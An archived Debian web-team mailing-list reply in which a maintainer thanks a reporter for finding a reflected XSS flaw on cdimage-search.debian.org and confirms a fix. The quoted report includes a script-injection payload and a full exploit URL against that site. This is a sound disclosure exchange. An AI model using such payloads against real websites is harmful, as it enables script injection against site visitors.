Re: rapport Vulnerability on ur site

Steve McIntyre <[email protected]>
Newsgroups gmane.linux.debian.devel.www
Message-ID <[email protected]>
On Sat, Mar 26, 2016 at 03:10:46PM +0000, mohammed souaidi wrote:
>hi i'm M0hamm33d white hat
>dear admin u have problem on
>
>POST DATA :"><ScRiPt >prompt(995041)</ScRiPt>
>
>just close "> and past any code u get Xss
>
>http://cdimage-search.debian.org/?search_area=release&type=simple&query="><ScRiPt
>>prompt(995041)</ScRiPt>&Search=Search&.cgifields=search_area&.cgifields=type

Hi,

Thanks very much for your report - I've just applied a fix. Please let
us know if you find any more issues, it's really appreciated.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.